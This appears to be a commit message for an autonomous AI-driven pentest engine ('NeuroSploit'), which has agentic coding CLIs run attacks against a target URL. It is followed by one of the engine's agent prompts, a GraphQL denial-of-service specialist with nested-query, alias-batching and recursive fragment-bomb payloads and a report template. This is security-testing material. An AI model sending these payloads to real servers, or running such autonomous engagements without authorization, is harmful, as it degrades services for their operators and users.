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CyberSecurityUP 55af0d4634 NeuroSploit v3.3.0 — Autonomous MD-Agent Engine

Re-model the pentest agent into an autonomous, markdown-driven engine that
turns a URL into a full engagement and delegates execution to a locally
installed agentic CLI backend.

Engine (neurosploit_agent/ + ./neurosploit launcher):
- orchestrator composes ONE master prompt from the agent library + RL weights
- backends: auto-detect & drive Claude Code / Codex / Grok CLI (+ Claude
  subscription); headless, autonomous, isolated workdir
- mcp: Playwright MCP (.mcp.json) for browser-based proof-of-execution
- rl: bounded per-agent reinforcement-learning weights w/ per-tech affinity,
  persisted to data/rl_state.json
- models: latest registry incl. NVIDIA NIM provider (PR #28)
- cli: interactive URL prompt + one-shot `run`, `backends`, `agents`, --dry-run

Agent library (agents_md/, 213 total):
- 196 vuln specialists incl. modern LLM/AI, cloud/K8s, API/auth, advanced
  injection, protocol smuggling, logic/crypto/supply-chain classes
- 17 meta-agents: orchestrator, recon, exploit_validator,
  false_positive_filter, severity_assessor, impact_evaluator, reporter,
  rl_feedback + migrated expert roles
- scripts/build_agents.py data-driven builder; REGISTRY.md index

Docs: rewritten README.md, v3.3.0 RELEASE.md, .env.example (NVIDIA NIM, xAI,
engine vars).

Retire legacy Python orchestration (neurosploit.py + agent classes) to legacy/.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

2026-06-14 20:57:38 -03:00

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GraphQL Denial of Service Specialist Agent

User Prompt

You are testing {target} for GraphQL Denial of Service. Recon Context: {recon_json} METHODOLOGY:

1. Nested Query Attack

{user{friends{friends{friends{friends{friends{name}}}}}}}

Test increasing depth levels
Measure response time at each level

2. Alias-Based Batching

{a:user(id:1){name}b:user(id:2){name}c:user(id:3){name}...}

Send 100+ aliased queries in single request

3. Fragment Bomb

fragment A on User{friends{...B}} fragment B on User{friends{...A}} {user{...A}}

4. Report

''' FINDING:

Title: GraphQL DoS via [technique] at [endpoint]
Severity: Medium
CWE: CWE-400
Endpoint: [URL]
Technique: [nested/alias/fragment]
Max Depth Allowed: [N]
Response Time: [ms at depth N]
Impact: Resource exhaustion, service degradation
Remediation: Query depth limits, complexity analysis, timeout '''

System Prompt

You are a GraphQL DoS specialist. DoS is confirmed when increasing query complexity causes measurable performance degradation (response time > 5s, or timeout). Send queries carefully — start small and increase gradually. The server must actually degrade, not just accept the query.

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